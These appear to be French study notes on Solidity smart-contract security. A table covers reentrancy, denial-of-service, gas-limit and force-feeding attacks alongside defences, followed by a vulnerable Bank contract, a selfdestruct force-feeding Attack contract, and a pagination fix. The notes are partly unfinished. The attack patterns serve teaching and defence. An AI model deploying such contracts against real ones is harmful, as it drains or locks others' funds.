Attaque | But | Vulnérabilité | Attaque | Défense |
---|---|---|---|---|
Reentrency | vider un contrat de ses Ethers | call() | Le hacker implémente une fonction + falback(). Il appelle la fonction d'origine qui fait le call() ce qui déclenchera le fallback() du hacker qui a nouveau appellera la fonction d'origine avec le call(), et ce jusqu'à vider le contrat. | Utiliser un guard avec un boolean ou Modifier la balance avant l'appel au call() |
DoS Unexpected | Arrêt de service | call(), send(), transfer() + fallback() not implemented | Le hacker dans son contrat appelle la fonction d'origine qui a le call(). Le hacker n'implémente pas de fonction fallback() ce qui provoque une erreur | Diviser en deux les fonctions: une pour les actions sur votre application, une sur l’envoie d’ether. |
DoS Gas limit | Appeler une fonction de telle sorte qu'elle arrive à épuisement du gas limit provoquant son arrêt (revert). | Remplissage du stockage en exploitant une faille dans une fonction | Remplir un array jusqu'à épuisement en bouclant sur la fonction | Limiter la quandtité de donnée d'un array OU mettre à jour l'array par séquence plutôt qu'en une seule fois OU accéder à l'array par pagination par ex per 100 |
Force Feeding | Casser les conditions sur la balance d’un contrat pour profiter d’une action préjudiciable pour le contrat ou favorable pour l’attaquant. | fonction selfdestruct(address) + condition stict egal (require(this.balance == 1)) | Le hacker créer un contrat avec fonction qui implémente selfdestruct(). Il envoie 1 wei. La fonction appelée | require(this.balance >= 1) |
Front running | na | na | na | |
Oracle manipulation | na | na | na | |
Timestamp Dependance | na | na | na | |
Griefing | na | na | na |
La faille ici est sur la ligne 25 avec require(address(this).balance == 10 ether);
Car si
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.20;
// The owner can deposit 1 ETH whenever he wants.
// He can only withdraw when the deposited amount reaches 10 ETH.
contract Bank {
address owner;
// Set msg.sender as owner
constructor() {
owner = msg.sender;
}
// Deposit 1 ETH in the smart contract
function deposit() public payable {
require(msg.sender == owner); // seulement le owner
require(msg.value == 1 ether); // on recoit 1 ether
require(address(this).balance <= 10 ether); // la balance doit etre inf ou egale a 10 ether
}
// Withdraw the entire smart contract balance
function withdrawAll() public {
require(msg.sender == owner);
require(address(this).balance == 10 ether); // la balance doit etre egale a 10 ether pour retirer
payable(owner).send(address(this).balance);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.12;
contract Attack{
Bank bank;
constructor (Bank _bank){
bank = _bank;
}
fallback() external payable{}
function attack() external {
selfdestruct(payable(address(bank)));
}
}
Mauvais
contract Test {
uint[] total;
function store(uint _val) public {
total.push(_val);
}
fonction readTotal() public {
for (uint i; i < total.length; ++i) {
doSomething();
}
}
}
Bon
contract Test {
uint[] total;
uint constant limit = 5;
function store(uint _val) public {
total.push(_val);
}
function readTotal(uint page) public view returns (bool, uint[] memory _data) {
// total = 0
// total.length = 1
// page = 0
// limit = 5
// _start = 0 (page * limit)
// _end doit etre 1 (start + limit)
// si total.length > _start + limit alors _end = total.length
// si 1 > 0 + 5 (Non) alors _end = 1
// total = 0, 1, 2, 3, 4, 5, 6
// total.length = 7
// page = 0
// limit = 5
// _start = 0 (page * limit)
// _end doit etre 5
// si total.length > _start + limit alors _end = _start + limit
// si 7 > 0 + 5 (Oui) alors _end = 0 + 5
// total = 0, 1, 2, 3, 4, 5, 6
// total.length = 7
// page = 1
// limit = 5
// _start = 5 (page * limit)
// _end doit etre 7 (total.length))
// si total.length > _start + limit alors total.length)
// si 7 > 5 + 5 (Non) alors _end = 7
require(total.length > 0, "No data");
uint j;
uint _start = page * limit;
uint _end = _start + limit;
bool _next = true;
_data = new uint[](limit);
if(total.length <= _end) {
_next = false;
_end = total.length;
}
for (uint i = _start; i < _end; ++i) {
_data[j++] = total[i];
}
return (_next, _data);
}
}